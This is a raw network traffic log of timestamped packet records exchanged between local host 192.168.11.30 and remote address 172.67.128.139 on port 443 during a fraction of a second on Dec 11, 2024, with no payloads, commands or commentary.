Dec 11, 2024 12:15:00.438992977 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.439526081 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.439536095 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.439680099 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.439680099 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.439730883 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.439730883 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.439735889 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.439915895 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.439915895 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.441251993 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.441339970 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.441436052 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.441443920 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.441593885 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.441593885 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.443166018 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.443176031 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.443802118 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.443803072 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.443803072 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.443803072 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.443803072 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.443809986 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.444020987 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.444933891 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.444943905 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.445282936 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.445282936 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.445282936 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.445291996 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.446536064 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.446544886 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.446721077 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.446731091 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.446913958 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.446914911 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.446914911 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.447314024 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.447323084 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.447652102 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.447652102 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.447652102 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.447652102 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.447665930 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.449129105 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.449140072 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.449359894 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.449359894 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.449359894 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.449359894 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.449372053 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.449450970 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.451072931 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.451086044 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.451232910 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.451232910 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.451246023 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.451426029 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.451426029 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.451426029 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.451426029 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.452348948 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.452363014 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.452466011 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.452699900 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.452699900 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.452711105 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.453309059 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.453321934 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.453423977 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.453437090 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.453474998 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.453665018 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.453665018 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.453665018 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.453665018 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.455018044 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.455029011 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.455357075 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.455357075 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.455357075 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.455357075 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.455375910 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.456474066 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.456486940 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.456657887 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.456671000 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.456846952 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.456846952 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.456846952 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.457037926 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.457554102 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.457565069 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.457725048 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.457725048 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.457735062 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.457968950 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.457968950 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.459327936 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.459340096 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.459450960 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.459450960 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.459462881 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.459500074 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.459692955 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.459692955 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.459692955 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.460545063 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.460556030 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.460747957 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.460747957 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.460761070 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.460921049 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.460921049 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.462224960 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.462239027 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.462388039 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.462388039 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.462398052 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.462574005 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.462574005 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.463421106 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.463433027 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.463761091 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.463761091 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.463761091 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.463761091 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.463761091 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.463776112 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.465251923 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.465265036 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.465409040 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.465416908 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.465601921 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.465601921 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.465601921 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.465601921 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.465601921 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.466057062 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.466069937 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.466578960 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.466578960 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.466597080 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.466609001 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.466609001 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.466609001 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.468182087 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.468194962 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.468321085 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.468321085 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.468333960 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.468372107 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.468372107 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.468563080 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.468755960 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.469239950 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.469250917 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.469861031 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.469861031 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.469861031 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.469861031 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.469861031 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.469875097 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.470052958 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.470952034 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.470964909 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.471116066 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.471122980 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.471308947 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.471308947 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.471308947 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.471796989 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.471807003 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.471935034 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.471935034 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.471983910 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.471983910 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.471988916 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.472162008 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.472326994 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.473691940 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.473705053 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.473846912 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.473860979 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.474039078 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.474039078 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.474814892 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.474826097 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.474936962 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.474936962 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.474986076 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.475166082 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.475174904 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.476466894 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.476480007 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.476656914 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.476656914 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.476680040 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.476850033 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.478161097 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.478174925 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.478307009 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.478322983 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.478355885 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.478355885 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.478554010 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.478554010 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.479181051 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.479197979 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.479374886 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.479374886 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.479374886 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.479552984 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.479571104 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.479760885 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.479760885 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.481081009 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.481098890 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.481242895 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.481261969 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.481439114 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.481440067 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.482110023 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.482125998 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.482465029 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.482465029 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.482481003 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.483828068 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.483845949 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.483980894 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.483980894 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.483997107 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.484219074 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.485089064 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.485105038 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.485445023 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.485445023 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.485445023 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.485445023 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.485445023 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.485462904 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.486618042 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.486635923 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.486767054 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.486768007 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.486793041 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.486812115 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.487004995 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.487571955 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.487587929 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.487754107 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.487917900 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.487917900 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.487917900 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.487917900 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.487941980 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.489634991 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.489654064 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.489829063 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.489844084 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.490024090 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.490024090 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.490748882 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.490763903 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.491106033 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.491106033 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.491106033 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.491106033 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.491128922 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.492305040 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.492325068 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.492477894 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.492496967 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.492670059 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.492670059 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.492670059 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.492670059 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.493501902 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.493516922 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.493654966 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.493678093 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.493849039 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.493849039 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.493849039 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.494038105 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.495060921 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.495079994 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.495223999 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.495402098 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.495402098 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.495419979 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.496753931 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.496776104 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.496918917 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.496920109 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.496933937 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.497081995 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.497082949 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.498131037 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.498152018 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.498312950 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.498312950 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.498475075 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.498475075 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.498497009 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.499773979 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.499793053 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.499938011 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.499938011 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.499959946 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.500129938 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.500129938 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.500129938 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.500129938 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.500782967 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.500798941 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.500946045 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.500946045 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.500960112 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.501106024 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.501106024 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.501106024 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.501301050 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.502435923 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.502456903 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.502753973 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.502753973 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.502753973 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.502774954 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.503474951 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.503496885 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.503654957 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.503654957 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.503654957 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.503669977 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.503850937 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.503850937 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.505475044 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.505492926 CET	443	49832	172.67.128.139	192.168.11.30
